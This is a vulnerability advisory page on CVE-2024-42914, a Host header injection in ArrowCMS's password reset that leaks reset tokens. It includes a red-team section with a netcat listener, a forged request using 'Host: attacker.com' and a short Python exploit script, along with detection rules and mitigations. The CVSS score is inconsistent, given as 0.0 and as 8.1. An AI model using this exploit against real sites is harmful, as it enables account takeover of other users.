CVE-2024-42914
Executive Summary
CVE-2024-42914 is a Host Header Injection vulnerability in ArrowCMS version 1.0.0, specifically within the forgot password functionality. An attacker can craft a malicious HTTP Host header in a password reset request, causing the application to generate a password reset link that points to an attacker-controlled server. When the victim clicks this link, the password reset token is leaked to the attacker, enabling unauthorized password reset for other users. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the potential for account takeover. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ArrowCMS is a PHP-based content management system. The vulnerability exists in the core application code, not in a third-party package. However, if ArrowCMS is distributed via Composer or similar package managers, the risk extends to supply chain integrity. Users should verify the integrity of their ArrowCMS installation and monitor for any official patches or updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click the malicious link.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): High (H) – The password reset token is leaked.
- Integrity (I): High (H) – An attacker can reset other users' passwords.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 8.1 (High)
Threat Level: High – Exploitation is straightforward and can lead to full account takeover.
Deep Dive & Mechanics
The vulnerability lies in the forgot password functionality of ArrowCMS. When a user requests a password reset, the application generates a unique token and sends an email containing a link to reset the password. The link typically includes the token and is constructed using the Host header from the incoming HTTP request.
The application does not validate or sanitize the Host header. An attacker can intercept or craft a request to the forgot password endpoint with a malicious Host header pointing to their own server (e.g., attacker.com). The application then generates a password reset link like http://attacker.com/reset?token=TOKEN_VALUE. When the victim clicks this link, the token is sent to the attacker's server, allowing the attacker to reset the victim's password.
Attack Flow:
- Attacker sends a POST request to
/forgot-passwordwith the victim's email and a maliciousHostheader. - ArrowCMS generates a password reset token and sends an email to the victim with a link containing the attacker's domain.
- Victim clicks the link, which sends the token to the attacker's server.
- Attacker uses the token to reset the victim's password and gain unauthorized access.
Vulnerable vs. Patched Code
Vulnerable Code (ArrowCMS 1.0.0):
// In forgot_password.php
$host = $_SERVER['HTTP_HOST'];
$reset_link = "http://" . $host . "/reset?token=" . $token;
// Send email with $reset_link
Patched Code (Hypothetical):
// In forgot_password.php
$host = filter_var($_SERVER['HTTP_HOST'], FILTER_SANITIZE_URL);
if (!in_array($host, $allowed_hosts)) {
die("Invalid host header");
}
$reset_link = "http://" . $host . "/reset?token=" . $token;
// Send email with $reset_link
The patched code validates the Host header against a whitelist of allowed domains and sanitizes the input to prevent injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- ArrowCMS 1.0.0 installed and accessible.
- Attacker-controlled server with a public domain (e.g.,
attacker.com). - Ability to intercept or modify HTTP requests (e.g., using Burp Suite).
Exploitation Steps:
- Set up a listener on the attacker server to capture incoming requests (e.g., using
nc -lvnp 80). - Intercept a forgot password request to ArrowCMS.
- Modify the
Hostheader to point to the attacker's domain:POST /forgot-password HTTP/1.1 Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@example.com - Send the request. ArrowCMS will generate a password reset link with the attacker's domain.
- The victim receives an email with a link like
http://attacker.com/reset?token=abc123. - When the victim clicks the link, the token is sent to the attacker's server.
- The attacker captures the token and uses it to reset the victim's password.
Example Exploit Script (Python):
import requests
target = "http://victim-arrowcms.com/forgot-password"
attacker_domain = "attacker.com"
victim_email = "victim@example.com"
headers = {"Host": attacker_domain}
data = {"email": victim_email}
response = requests.post(target, headers=headers, data=data)
print("Password reset request sent. Token will be sent to attacker server.")
Blue Team
Detection:
- Monitor for unusual
Hostheaders in forgot password requests. - Log and alert on password reset emails containing external domains.
- Implement strict validation of the
Hostheader against a whitelist.
Mitigation:
- Apply input validation and sanitization on the
Hostheader. - Use a whitelist of allowed domains for generating reset links.
- Implement CSRF tokens and rate limiting on forgot password endpoints.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/forgot-passwordwith modifiedHostheaders. - Outbound connections from ArrowCMS to attacker-controlled domains.
- Password reset emails containing links to external domains.
- HTTP requests to
File IOCs:
- Log entries in ArrowCMS showing unusual
Hostheader values. - Modified or suspicious entries in the password reset token database.
- Log entries in ArrowCMS showing unusual
Behavioral IOCs:
- Multiple password reset requests for the same user from different IPs.
- Successful password resets followed by unusual account activity.
Detection Engineering
YARA Rule
rule CVE_2024_42914_Host_Header_Injection {
meta:
description = "Detects Host header injection in ArrowCMS forgot password requests"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-42914"
strings:
$s1 = "forgot-password" nocase
$s2 = "HTTP_HOST" nocase
$s3 = "reset?token=" nocase
condition:
all of them
}
Sigma Rule
title: Host Header Injection in ArrowCMS Forgot Password
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-42914 by injecting malicious Host headers
author: Valters IT
date: 2024-10-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/forgot-password'
cs-host: 'attacker.com' # Replace with known malicious domains
condition: selection
falsepositives:
- Legitimate use of external domains in Host header (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-42914 - ArrowCMS Host Header Injection"; flow:to_server; content:"POST"; http_method; content:"/forgot-password"; http_uri; content:"Host|3a|"; http_header; pcre:"/Host:\s*[^\\r\\n]*attacker\.com/Hi"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Forgot Password Functionality: Temporarily disable the forgot password feature until a patch is available.
- Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests with suspicious
Hostheaders. - Input Validation: Manually patch the code to validate the
Hostheader against a whitelist of allowed domains.
Long-Term Fix:
- Apply the official patch from ArrowCMS when released.
- Implement a secure password reset mechanism that does not rely on the
Hostheader. - Use HTTPS and HSTS to prevent downgrade attacks.
Workaround:
- Configure the web server to reject requests with unexpected
Hostheaders (e.g., using Apache'sRewriteCondor Nginx'sserver_name).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.